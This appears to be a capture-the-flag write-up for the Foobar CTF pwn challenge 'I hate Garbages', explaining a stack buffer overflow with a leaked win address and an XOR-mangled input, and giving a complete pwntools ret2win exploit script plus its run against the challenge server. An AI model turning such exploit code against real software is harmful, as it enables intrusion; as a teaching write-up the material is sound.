Tags: pwn 

Rating:

# Foobar CTF - I hate Garbages

The binary is compiled with ``partial relro``, ``NX``, and ``PIE``.

```
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```

Further, the binary leaks the address of the ``win`` function and calls ``gets()``, which enables a stack-based buffer overflow.

```
00001340 printf(&data_2028, win);
00001351 gets(&var_48);
```

However, before returning from the ``main`` function, the program calls ``play_with_buf`` that manipulates the user input by ``xor``ing the buffer with ``0x20202020`` four bytes at a time.

0000128f void play_with_buf(int32_t* arg1, int64_t arg2)

```
0000128f {
0000129b int32_t var_14 = arg2;
000012a2 if (var_14 <= 0x4f)
0000129e {
000012c3 *(int32_t*)((char*)arg1 + arg2) = (*(int32_t*)((char*)arg1 + arg2) ^ 0x20202020);
000012d7 play_with_buf(arg1, ((uint64_t)(var_14 + 4)));
000012cb }
0000129e }
```

Further, there is a ``check`` function. Failing to pass the ``check`` means the program will ``exit`` instead of ``return``. We need to pass this check so we can ``return`` to the stack and trigger our Ret2Win.

```
00001375 if (check(&var_48) == 0)
00001373 {
00001397 puts("ooooopsss");
000013a1 exit(0);
000013a1 /* no return */
000013a1 }
00001381 puts("good try :)");
000013a7 return 0;
```

Putting our exploit together, we pass the check by setting the first byte of our input to chr(127), then 71 more bytes to overflow the buffer. Further, we will place a ``ret`` in from our our ``win`` to satisfy the ``movaps`` issue that occurs when the stack isn't 16-byte aligned and calls ``system``.

```python
from pwn import *

binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]
e = context.binary = ELF(binary)

gs = '''
continue
'''

def start():
if args.GDB:
return gdb.debug(e.path, gdbscript=gs)
elif args.REMOTE:
return remote('chall.foobar.nitdgplug.org',30021)
else:
return process(e.path,level='error')

def repair(addr):
xor_func = lambda x: x ^ 0x20
return bytearray(map(xor_func, p64(addr)))

def ret2win():
p = start()
win=int(p.recvline(keepends=False),16)
log.info('Win Leaked: 0x%x' %win)
e.address=win-e.sym.win
ret = e.address+0x128e

chain = chr(127).encode()
chain += b'A'*71
chain += repair(ret)
chain += p64(e.sym['win'])

log.info('Throwing XOR(Ret)+Win')
p.sendline(chain)
p.interactive()

ret2win()
```

Throwing our exploit at the server, we get the flag ``GLUG{4lways_63_$p3cific}``.

```
└─# python3 pwn-ihg.py BIN=./test REMOTE
[*] '/root/workspace/foobar/i-hate-garbages/test'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.foobar.nitdgplug.org on port 30021: Done
[*] Win Leaked: 0x55de976931b9
[*] Throwing XOR(Ret)+Win
[*] Switching to interactive mode
good try :)
GLUG{4lways_63_$p3cific}
```

Original writeup (https://github.com/tj-oconnor/ctf-writeups/blob/main/foobar-23/i-hate-garbages/README.md).